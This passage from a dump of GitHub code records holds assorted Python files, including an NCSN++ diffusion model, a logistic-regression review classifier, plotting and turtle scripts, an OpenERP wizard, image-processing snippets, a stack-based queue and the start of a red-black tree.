use_bias=True,\n kernel_init=default_init())\n self.fir = fir\n self.with_conv = with_conv\n self.fir_kernel = fir_kernel\n self.out_ch = out_ch\n\n def forward(self, x):\n B, C, H, W = x.shape\n if not self.fir:\n h = F.interpolate(x, (H * 2, W * 2), 'nearest')\n if self.with_conv:\n h = self.Conv_0(h)\n else:\n if not self.with_conv:\n h = upsample_2d(x, self.fir_kernel, factor=2)\n else:\n h = self.Conv2d_0(x)\n\n return h\n\n\nclass Combine(nn.Module):\n \"\"\"Combine information from skip connections.\"\"\"\n\n def __init__(self, dim1, dim2, method='cat'):\n super().__init__()\n self.Conv_0 = conv1x1(dim1, dim2)\n self.method = method\n\n def forward(self, x, y):\n h = self.Conv_0(x)\n if self.method == 'cat':\n return torch.cat([h, y], dim=1)\n elif self.method == 'sum':\n return h + y\n else:\n raise ValueError(f'Method {self.method} not recognized.')\n\n\nclass NCSNpp(nn.Module):\n \"\"\"NCSN++ model\"\"\"\n\n def __init__(\n self,\n channels,\n image_size=256,\n nf=128,\n ch_mult=(1, 1, 2, 2, 2, 2, 2),\n num_res_blocks=2,\n activation_type=\"swish\",\n dropout=0.,\n resample_with_conv=True,\n fir=True,\n fir_kernel = (1, 3, 3, 1),\n skip_rescale=True,\n progressive=\"output_skip\",\n progressive_input=\"input_skip\",\n init_scale=1e-2,\n fourier_scale=16.,\n resblock_type=\"biggan\",\n combine_method=\"sum\",\n **kwargs\n ):\n super().__init__()\n self.act = act = get_activation(activation_type)\n\n self.nf = nf\n self.num_res_blocks = num_res_blocks\n self.num_resolutions = num_resolutions = len(ch_mult)\n self.all_resolutions = all_resolutions = [image_size // (2 ** i) for i in range(num_resolutions)]\n\n self.skip_rescale = skip_rescale\n self.progressive = progressive.lower()\n self.progressive_input = progressive_input.lower()\n self.resblock_type = resblock_type\n assert progressive in ['none', 'output_skip', 'residual']\n assert progressive_input in ['none', 'input_skip', 'residual']\n combiner = functools.partial(Combine, method=combine_method.lower())\n\n # Condition on continuous time\n modules = [GaussianFourierProjection(embed_dim=nf, scale=fourier_scale), nn.Linear(nf, nf * 4), nn.Linear(nf * 4, nf * 4)]\n with torch.no_grad():\n modules[1].weight.data = default_init()(modules[1].weight.shape)\n modules[1].bias.zero_()\n modules[2].weight.data = default_init()(modules[2].weight.shape)\n modules[2].bias.zero_()\n\n AttnBlock = functools.partial(SelfAttentionBlock, init_scale=init_scale)\n Upsample = functools.partial(UpsampleLayer, with_conv=resample_with_conv, fir=fir, fir_kernel=fir_kernel)\n\n if progressive == 'output_skip':\n self.pyramid_upsample = Upsample(fir=fir, fir_kernel=fir_kernel, with_conv=False)\n elif progressive == 'residual':\n pyramid_upsample = functools.partial(UpsampleLayer, fir=fir, fir_kernel=fir_kernel, with_conv=True)\n\n Downsample = functools.partial(DownsampleLayer, with_conv=resample_with_conv, fir=fir, fir_kernel=fir_kernel)\n\n if progressive_input == 'input_skip':\n self.pyramid_downsample = Downsample(fir=fir, fir_kernel=fir_kernel, with_conv=False)\n elif progressive_input == 'residual':\n pyramid_downsample = functools.partial(Downsample, fir=fir, fir_kernel=fir_kernel, with_conv=True)\n\n if resblock_type == 'ddpm':\n ResnetBlock = functools.partial(DDPMResnetBlock,\n act=act,\n dropout=dropout,\n init_scale=init_scale,\n skip_rescale=skip_rescale,\n temb_dim=nf * 4)\n\n elif resblock_type == 'biggan':\n ResnetBlock = functools.partial(ResnetBlockBigGANpp,\n act=act,\n dropout=dropout,\n fir=fir,\n fir_kernel=fir_kernel,\n init_scale=init_scale,\n skip_rescale=skip_rescale,\n temb_dim=nf * 4)\n\n else:\n raise ValueError(f'resblock type {resblock_type} unrecognized.')\n\n # Downsampling block\n input_pyramid_ch = channels\n\n modules.append(conv3x3(channels, nf))\n hs_c = [nf]\n\n in_ch = nf\n for i_level in range(num_resolutions):\n # Residual blocks for this resolution\n for i_block in range(num_res_blocks):\n out_ch = nf * ch_mult[i_level]\n modules.append(ResnetBlock(in_ch=in_ch, out_ch=out_ch))\n in_ch = out_ch\n hs_c.append(in_ch)\n\n if i_level != num_resolutions - 1:\n if resblock_type == 'ddpm':\n modules.append(Downsample(in_ch=in_ch))\n else:\n modules.append(ResnetBlock(down=True, in_ch=in_ch))\n\n if progressive_input == 'input_skip':\n modules.append(combiner(dim1=input_pyramid_ch, dim2=in_ch))\n if combine_method == 'cat':\n in_ch *= 2\n\n elif progressive_input == 'residual':\n modules.append(pyramid_downsample(in_ch=input_pyramid_ch, out_ch=in_ch))\n input_pyramid_ch = in_ch\n hs_c.append(in_ch)\n\n in_ch = hs_c[-1]\n modules.append(ResnetBlock(in_ch=in_ch))\n modules.append(AttnBlock(channels=in_ch))\n modules.append(ResnetBlock(in_ch=in_ch))\n\n pyramid_ch = 0\n # Upsampling block\n for i_level in reversed(range(num_resolutions)):\n for i_block in range(num_res_blocks + 1):\n out_ch = nf * ch_mult[i_level]\n modules.append(ResnetBlock(in_ch=in_ch + hs_c.pop(),\n out_ch=out_ch))\n in_ch = out_ch\n\n if progressive != 'none':\n if i_level == num_resolutions - 1:\n if progressive == 'output_skip':\n modules.append(nn.GroupNorm(num_groups=min(in_ch // 4, 32),\n num_channels=in_ch, eps=1e-6))\n modules.append(conv3x3(in_ch, channels, init_scale=init_scale))\n pyramid_ch = channels\n elif progressive == 'residual':\n modules.append(nn.GroupNorm(num_groups=min(in_ch // 4, 32),\n num_channels=in_ch, eps=1e-6))\n modules.append(conv3x3(in_ch, in_ch, bias=True))\n pyramid_ch = in_ch\n else:\n raise ValueError(f'{progressive} is not a valid name.')\n else:\n if progressive == 'output_skip':\n modules.append(nn.GroupNorm(num_groups=min(in_ch // 4, 32),\n num_channels=in_ch, eps=1e-6))\n modules.append(conv3x3(in_ch, channels, bias=True, init_scale=init_scale))\n pyramid_ch = channels\n elif progressive == 'residual':\n modules.append(pyramid_upsample(in_ch=pyramid_ch, out_ch=in_ch))\n pyramid_ch = in_ch\n else:\n raise ValueError(f'{progressive} is not a valid name')\n\n if i_level != 0:\n if resblock_type == 'ddpm':\n modules.append(Upsample(in_ch=in_ch))\n else:\n modules.append(ResnetBlock(in_ch=in_ch, up=True))\n\n assert not hs_c\n\n if progressive != 'output_skip':\n modules.append(nn.GroupNorm(num_groups=min(in_ch // 4, 32),\n num_channels=in_ch, eps=1e-6))\n modules.append(conv3x3(in_ch, channels, init_scale=1.))\n\n self.all_modules = nn.ModuleList(modules)\n\n def forward(self, x, time_cond):\n # timestep/noise_level embedding; only for continuous training\n modules = self.all_modules\n m_idx = 0\n # Gaussian Fourier features embeddings.\n temb = modules[m_idx](time_cond)\n m_idx += 1\n temb = modules[m_idx](temb)\n m_idx += 1\n temb = modules[m_idx](self.act(temb))\n m_idx += 1\n\n # Downsampling block\n input_pyramid = None\n if self.progressive_input != 'none':\n input_pyramid = x\n\n hs = [modules[m_idx](x)]\n m_idx += 1\n for i_level in range(self.num_resolutions):\n # Residual blocks for this resolution\n for i_block in range(self.num_res_blocks):\n h = modules[m_idx](hs[-1], temb)\n torch.var(h)\n m_idx += 1\n hs.append(h)\n\n if i_level != self.num_resolutions - 1:\n if self.resblock_type == 'ddpm':\n h = modules[m_idx](hs[-1])\n m_idx += 1\n else:\n h = modules[m_idx](hs[-1], temb)\n m_idx += 1\n if self.progressive_input == 'input_skip':\n input_pyramid = self.pyramid_downsample(input_pyramid)\n h = modules[m_idx](input_pyramid, h)\n m_idx += 1\n elif self.progressive_input == 'residual':\n input_pyramid = modules[m_idx](input_pyramid)\n m_idx += 1\n if self.skip_rescale:\n input_pyramid = (input_pyramid + h) / np.sqrt(2.)\n else:\n input_pyramid = input_pyramid + h\n h = input_pyramid\n hs.append(h)\n\n h = hs[-1]\n h = modules[m_idx](h, temb)\n m_idx += 1\n h = modules[m_idx](h)\n m_idx += 1\n h = modules[m_idx](h, temb)\n m_idx += 1\n\n pyramid = None\n\n # Upsampling block\n for i_level in reversed(range(self.num_resolutions)):\n for i_block in range(self.num_res_blocks + 1):\n h = modules[m_idx](torch.cat([h, hs.pop()], dim=1), temb)\n m_idx += 1\n\n if self.progressive != 'none':\n if i_level == self.num_resolutions - 1:\n if self.progressive == 'output_skip':\n pyramid = self.act(modules[m_idx](h))\n m_idx += 1\n pyramid = modules[m_idx](pyramid)\n m_idx += 1\n elif self.progressive == 'residual':\n pyramid = self.act(modules[m_idx](h))\n m_idx += 1\n pyramid = modules[m_idx](pyramid)\n m_idx += 1\n else:\n raise ValueError(f'{self.progressive} is not a valid name.')\n else:\n if self.progressive == 'output_skip':\n pyramid = self.pyramid_upsample(pyramid)\n pyramid_h = self.act(modules[m_idx](h))\n m_idx += 1\n pyramid_h = modules[m_idx](pyramid_h)\n m_idx += 1\n pyramid = pyramid + pyramid_h\n elif self.progressive == 'residual':\n pyramid = modules[m_idx](pyramid)\n m_idx += 1\n if self.skip_rescale:\n pyramid = (pyramid + h) / np.sqrt(2.)\n else:\n pyramid = pyramid + h\n h = pyramid\n else:\n raise ValueError(f'{self.progressive} is not a valid name')\n if i_level != 0:\n if self.resblock_type == 'ddpm':\n h = modules[m_idx](h)\n m_idx += 1\n else:\n h = modules[m_idx](h, temb)\n m_idx += 1\n assert not hs\n\n if self.progressive == 'output_skip':\n h = pyramid\n else:\n h = self.act(modules[m_idx](h))\n m_idx += 1\n h = modules[m_idx](h)\n m_idx += 1\n assert m_idx == len(modules)\n\n return h\n\n def score(self, x, t, sigma):\n B, *D = x.shape\n return self.forward(x, t) / sigma.view(B, *[1]*len(D))\n\n\nif __name__ == '__main__':\n x = torch.randn(size=[1, 1, 128, 128]) * 500\n t = torch.randn([1])\n model = NCSNpp(1, 128)\n model(x, t)\n","repo_name":"AlexandreAdam/Interferometric-imaging-posteriors","sub_path":"ipa/models/ncsnpp.py","file_name":"ncsnpp.py","file_ext":"py","file_size_in_byte":16353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"23555177192","text":"# 사용 모델 : LogisticRegression\n# 고정 변수 항목: review text에 쓰인 단어들, 단어 빈도\n# 분석 목표(예측값) : 리뷰가 긍정인지 부정인지 판별\n\n# 종속 변수가 0 또는 1인 분류 예측 문제이므로 로지스틱 회귀분서 모델 사용\nimport pickle\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import train_test_split\n\nwith open('pre_movie_review.pickle','rb') as file:\n label, voca, feature = pickle.load(file)\n\n# train_test_split을 사용하여 학습데이터셋, 테스트데이터셋 분리 (default: train 75%, test 25%)\n\ntrain_data, test_data, train_label, test_label =\\\n train_test_split(feature, label)\n\n\nclassifier = LogisticRegression()\nclassifier.fit(train_data, train_label)\n\nprint('학습 정확도: %.2f'%(classifier.score(train_data,train_label)))\nprint('테스트 정확도: %.2f'%(classifier.score(test_data,test_label)))\n\n# 각 피처에 대한 편회귀계수 ( 계수별 영향도 )\nweights=classifier.coef_[0,:]\npairs=[]\nfor index, value in enumerate(weights):\n pairs.append((abs(value),voca[index]))\npairs.sort(key=lambda x:x[0], reverse=True)\nfor pair in pairs[:20]:\n print('score %4.4f word: %s' % pair)","repo_name":"baewonje/iot_bigdata_-","sub_path":"python_workspace/3_bigdata/04_AI/02.Text_Mining/practice/1_CountVectorizer_TfidfTransformer/3_Movie_Review/2_text_mining_logistic.py","file_name":"2_text_mining_logistic.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"26624424152","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom plotly.express import parallel_coordinates\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom modules.GeometryDesign.tent import Tent\n\nexit_program = True\n\n\ndef point_cloud_1d_to_3d(point_cloud_1d: np.ndarray):\n points_n = int(point_cloud_1d.size/3)\n point_cloud_3d = point_cloud_1d.reshape(points_n, 3)\n return point_cloud_3d\n\ndef plot_parallel(obj, axis_names = None, axis_ranges = None):\n sample = np.array(obj)\n if axis_ranges is not None:\n axis_ranges = np.array(axis_ranges)\n axis_ranges[:,0][axis_ranges[:,0] == None] = -np.inf\n axis_ranges[:,1][axis_ranges[:,1] == None] = np.inf\n if axis_ranges.shape[0] != sample.shape[1]:\n raise Exception(\"Axis range should have be the equal to the count of objectives\")\n if axis_ranges.shape[1] != 2: \n raise Exception(\"Axis range should be 2 dimensional\")\n t = ((np.all((axis_ranges[:,1] >= sample), axis = -1)))\n s = (np.all((axis_ranges[:,0] <= sample), axis = -1))\n in_range = np.logical_and(t,s)\n sample = sample[in_range]\n\n if sample.shape[0] > 1000: \n sample = sample[np.random.choice(sample.shape[0], 1000, replace=False)]\n fig = parallel_coordinates(\n sample,\n labels=axis_names,\n )\n fig.show()\n\ndef plot_scatter_clickable(obj, var, axis_names = None, axis_ranges = None):\n global exit_program\n exit_program = True\n k = obj.shape[1]\n fig, ax = plt.subplots()\n ax.set_title(\"Pareto front\")\n if k == 2:\n ax.plot(obj[:,0], obj[:,1], marker='o', picker=True, pickradius = 5,linestyle = 'None')\n if axis_names is not None and len(axis_names) == 2:\n plt.xlabel(axis_names[0])\n plt.ylabel(axis_names[1])\n fig.canvas.mpl_connect('pick_event', lambda e: onpick(e, var, obj,False))\n elif k == 3:\n ax = fig.add_subplot(projection='3d')\n ax.plot(obj[:,0], obj[:,1], obj[:,2], marker='o', picker=True, pickradius = 5, linestyle = 'None')\n if axis_names is not None and len(axis_names) == 3:\n ax.set_xlabel(axis_names[0])\n ax.set_ylabel(axis_names[1])\n ax.set_zlabel(axis_names[2])\n fig.canvas.mpl_connect('pick_event', lambda e:onpick(e, var, obj, True))\n else:\n raise Exception(\"Wrong dimension count\")\n if axis_ranges is not None and axis_ranges.shape[0] == 2:\n plt.xlim(axis_ranges[0])\n plt.ylim(axis_ranges[1])\n if k == 3:\n plt.zlim(axis_ranges[2])\n plt.show()\n\ndef plot_scatter(df, axis_names = None):\n k = df.shape[1]\n fig, ax = plt.subplots()\n ax.set_title(\"Pareto front\")\n if k == 2:\n ax.plot(df[:,0], df[:,1], marker='o', linestyle = 'None')\n if axis_names is not None and len(axis_names) == 2:\n plt.xlabel(axis_names[0])\n plt.ylabel(axis_names[1])\n elif k == 3:\n ax = fig.add_subplot(projection='3d')\n ax.plot(df[:,0], df[:,1], df[:,2], marker='o', linestyle = 'None')\n if axis_names is not None and len(axis_names) == 3:\n ax.set_xlabel(axis_names[0])\n ax.set_ylabel(axis_names[1])\n ax.set_zlabel(axis_names[2])\n else:\n raise Exception(\"Wrong dimension count\")\n plt.show()\n \n \ndef onpick(event, var, obj, multi: bool = False):\n global exit_program\n exit_program = False\n thisline = event.artist\n if multi: xdata, ydata ,zdata = thisline.get_data_3d()\n else: \n xdata = thisline.get_xdata()\n ydata = thisline.get_ydata()\n ind = event.ind[0]\n point = [xdata[ind], ydata[ind]]\n if multi: point.append(zdata[ind])\n print('Objectives:', point)\n p = var[np.where(np.all(point == obj, axis=1))]\n p = p[0]\n print('Decision variable:', p)\n # plt.close()\n t = Tent(point_cloud_1d_to_3d(p))\n print(t.surface_area, t.volume)\n t.plot()\n\ndef visualize(obj, var, axis_names = None):\n global exit_program\n exit_program = False\n try:\n while True:\n if not exit_program:\n plot_scatter_clickable(obj, var, axis_names)\n else: break\n except KeyboardInterrupt:\n print(\"OK\")\n","repo_name":"phoopies/DesignOptimizationCourse","sub_path":"modules/DataAndVisualization/vizualiser.py","file_name":"vizualiser.py","file_ext":"py","file_size_in_byte":4222,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"34082909139","text":"import turtle as tu\n\nscreen = tu.Screen() # create the screen\n\nt1 = tu.Turtle() # create the first turtle\nt1.shape('turtle')\nt1.color('blue','yellow')\n\nt2 = tu.Turtle() # create the second turtle\nt2.color('red', 'green')\nt2.pensize(3) # the same as t2.width(3)\n\nscreen.onscreenclick(t1.goto)\n# set up the callback for moving the first turtle (t1)\n\ndef move_second(): # the function to move the second turtle\n t2.back(100)\n t2.forward(200)\n t2.back(100)\n screen.ontimer(move_second) # which sets itself up to be called again\n\nscreen.ontimer(move_second) # set up the initial call to the callback\nscreen.mainloop() # start everything running\n","repo_name":"onito/hello_python","sub_path":"making_things/_turtle/turtle_onclick_move.py","file_name":"turtle_onclick_move.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15572346732","text":"from osv import osv, fields\n\nclass multi_records_management(osv.osv_memory):\n\n _name = 'multi.records.management'\n\n def _get_ou_port_ids_str(self, cr, uid, ids, field_name, args, context=None):\n\n res = {}\n for doc in self.browse(cr, uid, ids):\n res[doc.id] = \"\"\n stream = []\n if doc.port_id:\n stream.append(str(doc.port_id.id))\n res[doc.id] = u\"/\".join(stream)\n\n return res\n\n _columns = {\n 'boarding_date': fields.date('Boarding date'),\n 'boat_id': fields.many2one('boat', 'Boat'),\n 'port_id': fields.many2one('port', 'Port'),\n 'ou_port_id': fields.many2one('ou.port', 'Org. Unit Port'),\n 'dep_type_id': fields.many2one('departure.type', 'Departure type'),\n 'situation_id': fields.many2one('situation.types', 'Boarding situation'),\n 'doc_ids_str': fields.char('Doc ids', size=255, readonly=True),\n 'ou_port_ids_str': fields.function(_get_ou_port_ids_str, method=True, string='Ou port str', type='char', size=255),\n }\n\n def default_get(self, cr, uid, fields, context=None):\n if context is None: context = {}\n \n res = {}\n\n if not context.get('active_ids', []) or not context.get('active_model') == 'identificative.document':\n return res\n stream = []\n for x in context['active_ids']:\n stream.append(str(x))\n\n res['doc_ids_str'] = u\"/\".join(stream)\n\n return res\n def onchange_port_id(self, cr, uid, ids, port_id, context=None):\n \"\"\"\n Fills the port field with the port that belongs to the\n Organizational Unit of the Port selected\n \"\"\"\n if port_id:\n stream = []\n stream.append(str(port_id))\n return {'value': {'ou_port_ids_str': u\"/\".join(stream)}}\n return {}\n\n def update_docs(self, cr, uid, ids, context=None):\n if context is None:\n context = {}\n doc = self.pool.get('identificative.document')\n\n for cur in self.browse(cr, uid, ids, context):\n if cur.doc_ids_str:\n for x in (cur.doc_ids_str).split('/'):\n id = int(x)\n if cur.boarding_date:\n doc.write(cr, uid, [id], {'boarding_date': cur.boarding_date})\n if cur.boat_id:\n doc.write(cr, uid, [id], {'boat_id': cur.boat_id.id})\n if cur.port_id:\n doc.write(cr, uid, [id], {'port_id': cur.port_id.id})\n if cur.ou_port_id:\n doc.write(cr, uid, [id], {'ou_port_id': cur.ou_port_id.id})\n if cur.dep_type_id:\n doc.write(cr, uid, [id], {'dep_type_id': cur.dep_type_id.id})\n if cur.situation_id:\n doc.write(cr, uid, [id], {'situation_id': cur.situation_id.id})\n\n return {'type': 'ir.actions.act_window_close'}\n\n\nmulti_records_management()\n\n\n\n\n","repo_name":"Pexego/addons-va-ca-px","sub_path":"boardings_management/wizard/mult_records_management_wzd.py","file_name":"mult_records_management_wzd.py","file_ext":"py","file_size_in_byte":3038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3755095938","text":"# 在这一程序中,我们打印了一序列的数字。我们通过内置的 range 函数生成这一数字序列。\n# 在这里我们所要做的事情是提供两个数字,而 range 将会返回一序列的数字,从第一个数字\n# 开始,至第二个数字结束。举个例子, range(1,5) 将输出序列 [1, 2, 3, 4] 。在默认情况\n# 下, range 将会以 1 逐步递增。如果我们向 range 提供第三个数字,则这个数字将成为逐\n# 步递增的加数。同样举个例子来说明, range(1,5,2) 将会输出 [1, 3] 。要记住这一序列扩\n# 展直到第二个数字,也就是说,它不会包括第二个数字在内。\n# 另外需要注意的是, range() 每次只会生成一个数字,如果你希望获得完整的数字列表,要\n# 在使用 range() 时调用 list() 。例如下面这样: list(range(5)) ,它将会返回 [0, 1, 2,3, 4]\n\n\ndef foreach():\n for i in range(1, 5):\n print(i)\n else:\n print('The for loop is over')\n\n\ndef foreach1():\n for i in range(1, 5, 2):\n print(i)\n else:\n print('The for loop is over')\n\n\nif __name__ == '__main__':\n foreach()\n foreach1()\n","repo_name":"yang7988/python-foundation","sub_path":"foreach/for.py","file_name":"for.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"26282363924","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 24 15:33:34 2018\n\n@author: rahul\n\"\"\"\n'''\nimport math\nfrom PIL import Image\nimageFile = '/home/rahul/Desktop/False.jpg'\nprint (imageFile)\nim = Image.open(imageFile)\nrgbHistogram = im.histogram()\nprint(rgbHistogram)\nprint ('Entropy for Red, Green, Blue:')\nfor rgb in range(3):\n totalPixels = sum(rgbHistogram[rgb * 256 : (rgb + 1) * 256])\n ent = 0.0\n for col in range(rgb * 256, (rgb + 1) * 256):\n freq = float(rgbHistogram[col]) / totalPixels\n if freq > 0:\n ent = ent + freq * math.log(freq, 2)\n ent = -ent\nprint (ent)\n '''\n\nimport numpy as np\nfrom skimage import io, color, img_as_ubyte\nfrom skimage.feature import greycomatrix, greycoprops\nfrom sklearn.metrics.cluster import entropy\n\nrgbImg = io.imread('/home/rahul/Documents/project/Scan_Guwahati_Handwriting_data25.8.14/WanjoplangWansai-13/True.jpg')\ngrayImg = img_as_ubyte(color.rgb2gray(rgbImg))\n\ndistances = [1, 2, 3]\nangles = [0, np.pi/4, np.pi/2, 3*np.pi/4]\nproperties = ['energy', 'homogeneity']\n\nglcm = greycomatrix(grayImg, \n distances=distances, \n angles=angles,\n symmetric=True,\n normed=True)\n\nfeats = np.hstack([greycoprops(glcm, prop).ravel() for prop in properties])\nprint(entropy(grayImg))\n'''\n\n\nimport numpy\nimport math\nimport cv2\n \ndef image_entropy(img):\n \"\"\"calculate the entropy of an image\"\"\"\n histogram = img.histogram()\n histogram_length = sum(histogram)\n \n samples_probability = [float(h) / histogram_length for h in histogram]\n \n return -sum([p * math.log(p, 2) for p in samples_probability if p != 0])\n \nimg = cv2.imread('/home/rahul/Desktop/False.jpg')\nprint (image_entropy(img))'''","repo_name":"RoySounak/Sounak_OHDP","sub_path":"ent.py","file_name":"ent.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28908791158","text":"class MyQueue:\n \"\"\"\n stack: 后入先出\n queue: 先入先出\n\n stack1 stack2\n\n | | | |\n | 2 | | |\n | 1 | | |\n\n push 操作: 往 stack1 里压\n peek 操作:\n 1. stack2 空: stack1 所有出栈并依次压入 stack2, 返回 stack2 栈顶\n 2. stack2 非空: 直接返回 stack2 栈顶\n pop 操作:\n 1. stack2 空: stack1 所有出栈并依次压入 stack2, 弹出 stack2 栈顶\n 2. stack2 非空: 直接弹出 stack2 栈顶\n empty:\n stack2 is empty and stack1 is empty\n \"\"\"\n\n def __init__(self):\n self.stack1 = []\n self.stack2 = []\n\n def push(self, x: int) -> None:\n self.stack1.append(x)\n\n def pop(self) -> int:\n ans = self.peek()\n self.stack2 = self.stack2[:-1]\n return ans\n\n def peek(self) -> int:\n if len(self.stack2) == 0:\n self.stack2 = self.stack1[::-1]\n self.stack1 = []\n if len(self.stack2) > 0:\n return self.stack2[-1]\n\n def empty(self) -> bool:\n return len(self.stack1) == len(self.stack2) == 0\n\n\nif __name__ == \"__main__\":\n # Your MyQueue object will be instantiated and called as such:\n obj = MyQueue()\n obj.push(1)\n obj.push(2)\n assert obj.peek() == 1\n assert obj.pop() == 1\n assert obj.empty() is False\n assert obj.pop() == 2\n assert obj.pop() is None\n assert obj.empty() is True\n","repo_name":"wsgggws/leetcode","sub_path":"leetcode75/day31_232.py","file_name":"day31_232.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"52"} +{"seq_id":"13555169621","text":"# Converting Image to sketch\n\nimport cv2 # import open cv\n\n\nclass Sketch():\n def read_image(self):\n get_image_file = input('Path or file name of the image: ')\n read_image = cv2.imread(get_image_file)\n cv2.imshow('screen', read_image)\n cv2.waitKey(0)\n\n \n # creating a gray image using cv2 library\n gray_image = cv2.cvtColor(read_image, cv2.COLOR_BGR2GRAY)\n cv2.imshow('new screen', gray_image)\n cv2.waitKey(0)\n\n # create inverted image from grayscale\n inverted_image = 255 - gray_image\n cv2.imshow('Inverted', inverted_image)\n cv2.waitKey()\n\n # Gaussian Function to blur image\n blurred = cv2.GaussianBlur(inverted_image, (21, 21), 0)\n\n # invert blurred image\n inverted_blurred = 255 - blurred\n pencil_sketch = cv2.divide(gray_image, inverted_blurred, scale=256.0)\n cv2.imshow(\"Sketch\", pencil_sketch)\n cv2.waitKey(0)\n\n # compare\n cv2.imshow(\"original image\", read_image)\n cv2.imshow(\"pencil sketch\", pencil_sketch)\n cv2.waitKey(0)\n\n\n\nget_sketch = Sketch()\nget_sketch.read_image()\n","repo_name":"iaxat/sketch","sub_path":"sketch.py","file_name":"sketch.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15617503850","text":"list = [1]\n\n#loop prime\nminimum = int(input(\"Please Enter the Minimum Value: \"))\nmaximum = int(input(\"Please Enter the Maximum Value: \"))\n\nfor Number in range (minimum, maximum + 1):\n count = 0\n for i in range(2, (Number//2+1)):\n if (Number % i ==0):\n count = count + 1\n break\n \n if (count == 0 and Number != 1):\n list.append(Number)\n#will loop until maximum\n#create list\n\n#create file,write, join, string, list\nwith open('result.txt','w') as f:\n f.write(''.join(str(list)))\n","repo_name":"danialhx/Cloud9-Python","sub_path":"optimusprime.py","file_name":"optimusprime.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"20947959431","text":"from PIL import Image\nimport os\n\n# path\npath = 'png'\nlisting = os.listdir(path)\n\n# getting all path+filename in a list\nnpath=[]\nim=[]\n\nfor infile in listing:\n if infile.lower().endswith(\".png\"):\n im.append(infile)\n npath.append(os.path.join(path, infile))\nnpath.sort()\n\n# canvas image to paste images onto\ncanvas = Image.new('RGB', (500,500), 'white')\n# blank image in case list is empty\nblank = Image.new('RGB', (32,32), 'white')\n\n# paste images on canvas\nfor i in range(0,500,50):\n for j in range(0,500, 50):\n try:\n im = Image.open(npath.pop(0))\n canvas.paste(im, (i, j), im)\n except IndexError:\n im = blank\n canvas.paste(im, (i, j))\n\n canvas.save('grid/grid.png')","repo_name":"etiennethomassen/forest-waypoint-symbols","sub_path":"grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"7089154568","text":"class Solution:\n def reverseOnlyLetters(self, s: str) -> str:\n s = list(s)\n left, right = 0, len(s) - 1\n \n while left < right:\n while left < right and not (ord(\"A\") <= ord(s[left]) <= ord(\"Z\") or ord(\"a\") <= ord(s[left]) <= ord(\"z\")):\n left += 1\n while left < right and not (ord(\"A\") <= ord(s[right]) <= ord(\"Z\") or ord(\"a\") <= ord(s[right]) <= ord(\"z\")):\n right -= 1\n if right < 0 or left > len(s):\n break\n s[left], s[right] = s[right], s[left]\n left += 1\n right -= 1\n \n return \"\".join(s)","repo_name":"ffekirnew/a2sv-competitive-programming","sub_path":"0917-reverse-only-letters/0917-reverse-only-letters.py","file_name":"0917-reverse-only-letters.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"26856140841","text":"from rbtree import *\r\n\r\nclass Data(RBNode):\r\n def __init__(self, x):\r\n super().__init__(self, None, None, RBNode.Red)\r\n self.x = x\r\n\r\n def printTree(self, layer = 0):\r\n if(self.rightNode is not None):\r\n self.rightNode.printTree(layer + 1)\r\n print(\"%s%d(%s)\" % (\" \" * layer, self.x, self.color[0]))\r\n if(self.leftNode is not None):\r\n self.leftNode.printTree(layer + 1)\r\n\r\n def verify(self, layer = 0, lastColor = None, blackCountList = []):\r\n node = self\r\n if(self.parent is None):\r\n blackCountList = []\r\n else:\r\n assert(self is self.parent.leftNode or self is self.parent.rightNode)\r\n assert(not (lastColor is RBNode.Red and self.color is RBNode.Red))\r\n if(node.leftNode is not None):\r\n assert(node.leftNode.x < node.x)\r\n assert(node.leftNode.parent is self)\r\n node.leftNode.verify(layer + 1, self.color, blackCountList)\r\n if(node.rightNode is not None):\r\n assert(node.rightNode.x > node.x)\r\n assert(node.rightNode.parent is self)\r\n node.rightNode.verify(layer + 1, self.color, blackCountList)\r\n\r\n if(self.leftNode is None and self.rightNode is None):\r\n nBlack = 0\r\n node = self\r\n while(node is not None):\r\n if(node.color is RBNode.Black):\r\n nBlack += 1\r\n node = node.parent\r\n blackCountList.append(nBlack)\r\n\r\n if(self.parent is None):\r\n nBlack = blackCountList[0]\r\n for x in blackCountList:\r\n assert(x == nBlack)\r\n\r\ndef insert(tree, data):\r\n if(tree.root is None):\r\n data.parent = None\r\n tree.root = data\r\n else:\r\n parent = None\r\n node = tree.root\r\n while(node is not None):\r\n if(data.x < node.x):\r\n if(node.leftNode is None):\r\n node.leftNode = data\r\n data.parent = node\r\n break\r\n parent = node\r\n node = node.leftNode\r\n elif(data.x > node.x):\r\n if(node.rightNode is None):\r\n node.rightNode = data\r\n data.parent = node\r\n break\r\n parent = node\r\n node = node.rightNode\r\n else:\r\n raise KeyError(\"Key conflict\")\r\n tree.insertColor(data)\r\n\r\ndef search(tree, x):\r\n node = tree.root\r\n if(node is None):\r\n raise KeyError(\"No such 